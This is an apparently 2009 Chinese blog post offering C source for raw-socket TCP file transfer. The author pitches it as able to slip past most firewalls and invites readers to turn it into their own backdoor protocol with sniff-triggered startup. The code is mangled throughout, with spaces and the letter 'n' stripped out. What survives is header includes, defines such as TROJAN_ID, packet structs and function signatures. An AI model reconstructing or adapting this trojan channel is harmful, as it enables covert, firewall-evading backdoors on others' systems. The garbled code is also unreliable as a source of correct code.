通过发送tcp数据包来实现文件传送2009年05月03日星期日下午0501通过发送tcp数据包来实现文件传送可以穿透大部分防火墙具体原理不在多说请参看xfocuschm以下的程序只是一个DEMO如果是大型服务器的话你就自己优化吧否则cpu占有率是很大的你可以修改成自己的后门协议完成嗅探启动的功能虽然网上也流传着嗅探启动的代码但都是server端的我把clie
t端代码也公布比较简单SERVERSe
dFilewithRawSocketsV005bywzti
cludestdiohi
cludeu
istdhi
cludefc
tlhi
cludestri
ghi
cludesyssockethi
cludesystypeshi
clude
eti
eti
hdefi
eMAXSIZE65535defi
eDATASIZE1024defi
eSEQ12345defi
eTROJAN_ID6789defi
eIPLENsizeofstructiphdrdefi
eTCPLENsizeofstructtcphdrdefi
ePACKLENsizeofstructiphdrsizeofstructtcphdrsizeofu
sig
edi
tsizeofu
sig
edi
tstrle
troja
datadefi
ePSELENsizeofstructpsehdrdefi
eTROJANLENsizeofu
sig
edi
tsizeofu
sig
edi
tstrle
troja
datastructiphdru
sig
edcharh_verle
u
sig
edchartosu
sig
edshorttotal_le
u
sig
edshortide
tu
sig
edshortfrag_a
d_flagsu
sig
edcharttlu
sig
edcharprotou
sig
edshortchecksumu
sig
edi
tsourceIP
fu
sig
edi
tdestIPstructtcphdru
sig
edshortth_sportu
sig
edshortth_dportu
sig
edi
tth_sequ
sig
edi
tth_acku
sig
edcharth_le
resu
sig
edcharth_flagu
sig
edshortth_wi
u
sig
edshortth_sumu
sig
edshortth_urpstructpsehdru
sig
edlo
gsaddru
sig
edlo
gdaddru
sig
edcharreservedu
sig
edcharprotou
sig
edshortle
structtroja
_packetu
sig
edi
ttroja
_idu
sig
edi
tdatale
chardataDATASIZEvoidusagecharprou
sig
edshorti
_cksumu
sig
edshortaddri
tle
i
ttcpse
dcharsrc_ipcharsrc_portchardst_ipchardst_portchardatavoidusagecharprofpri
tfstdout